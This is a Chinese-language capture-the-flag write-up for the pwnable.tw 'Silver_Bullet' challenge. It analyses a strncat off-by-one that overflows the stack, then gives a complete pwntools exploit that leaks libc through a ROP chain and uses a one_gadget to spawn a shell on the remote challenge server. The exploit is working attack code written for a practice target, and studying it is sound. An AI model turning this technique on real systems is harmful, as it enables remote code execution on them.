pawnable.tw Silver_Bullet
0x10 程序分析
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32 位动态链接库文件,ubuntu16.04的libc,没有开启栈溢出保护
Create 函数
int __cdecl create_bullet(char *s)
{
size_t v2; // ST08_4
if ( *s )
return puts("You have been created the Bullet !");
printf("Give me your description of bullet :");
read_input(s, 0x30u);
v2 = strlen(s);
printf("Your power is : %u\n", v2);
*((_DWORD *)s + 0xC) = v2; // ida识别错误,应该在s+0x30的位置
return puts("Good luck !!");
}
Powerup函数
int __cdecl power_up(char *dest)
{
char s; // [esp+0h] [ebp-34h]
size_t v3; // [esp+30h] [ebp-4h]
v3 = 0;
memset(&s, 0, 0x30u);
if ( !*dest )
return puts("You need create the bullet first !");
if ( *(dest + 12) > 0x2Fu )
return puts("You can't power up any more !");
printf("Give me your another description of bullet :");
read_input(&s, 48 - *(dest + 12));
strncat(dest, &s, 48 - *(dest + 12)); //注意这个函数
v3 = strlen(&s) + *(dest + 12);
printf("Your new power is : %u\n", v3);
*(dest + 12) = v3;
return puts("Enjoy it !");
}
beat函数
signed int __cdecl beat(int a1, _DWORD *a2)
{
signed int result; // eax
if ( *a1 )
{
puts(">----------- Werewolf -----------<");
printf(" + NAME : %s\n", a2[1]);
printf(" + HP : %d\n", *a2);
puts(">--------------------------------<");
puts("Try to beat it .....");
usleep(0xF4240u);
*a2 -= *(a1 + 48);
if ( *a2 <= 0 )
{
puts("Oh ! You win !!");
result = 1;
}
else
{
puts("Sorry ... It still alive !!");
result = 0;
}
}
else
{
puts("You need create the bullet first !");
result = 0;
}
return result;
}
三个函数都判断了bullet是否存在而输入使用了read_input函数
ssize_t __cdecl read_input(void *buf, size_t nbytes)
{
ssize_t v3; // [esp+0h] [ebp-4h]
v3 = read(0, buf, nbytes);
if ( v3 <= 0 )
{
puts("read error");
exit(1);
}
if ( *(buf + v3 - 1) == 10 )
*(buf + v3 - 1) = 0;
return v3;
}
读入0x30长度的字符串到buf中,并且将\n
替换为\x00
如果我们第一次输入0x10长度的字符串,然后我们最加0x20长度的字符串的话程序会发生什么:
首先过第一个函数
s+0x30 = 0x10
然后进行追加:
strncat(dest,s,0x20)
漏洞点就在于这个strncat ,strncat(dest,src,n)的功能是将src的前n个字节的字符追加到dest字符串后面,然后再加上\x00结尾。
此时执行完成以后由于将0x10覆盖为了0x00,因此此时字符串长度会被识别成0x20,导致我们可以继续追加产生溢出
0x20 思路
第一次输入0x28+4个字节,然后追加0x8-4个字节,然后再次追加7个字节就可以溢出到返回地址
我们要让main函数返回就要调用Beat函数,由于我们可以覆盖到 *a2 -= *(a1 + 48);,因此我们只需要将这里的值改为一个比较大数字就可以了
ROP
puts_plt
main
puts_got
get puts
libc_base = puts - libc.symbols['puts']
onegadget = libc_base + one
one
0x30 Final exp
#/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
proc="./silver_bullet"
context.update(arch = 'x86', os = 'linux')
elf=ELF(proc)
libc = ELF("./libc_32.so.6")
def choice(operand):
sh.sendafter("Your choice :",str(operand))
def Create(content):
choice(1)
sh.sendafter("Give me your description of bullet :",content)
def Powerup(content):
choice(2)
sh.sendafter("Give me your another description of bullet :",content)
def Beat():
choice(3)
def pwn(ip,port,debug):
global sh
if debug==1:
context.log_level="debug"
sh=process(proc)
else:
sh=remote(ip,port)
main = elf.symbols['main']
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
Create("A"*(0x28+4))
Powerup("B"*(0x8-4))
Powerup("\xff"*7+p32(puts_plt)+p32(main)+p32(puts_got))
Beat()
sh.recvuntil("Oh ! You win !!\n")
puts = u32(sh.recv(4))
log.info("puts: "+hex(puts))
libc_base = puts - libc.symbols['puts']
one_gadget = libc_base + 0x5f065
Create("A"*(0x28+4))
Powerup("B"*(0x8-4))
Powerup("\xff"*7+p32(one_gadget))
Beat()
sh.sendline("cat /home/silver_bullet/flag")
sh.interactive()
if __name__ =="__main__":
pwn("chall.pwnable.tw",10103,0)
"""
0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x5f065 execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x5f066 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
"""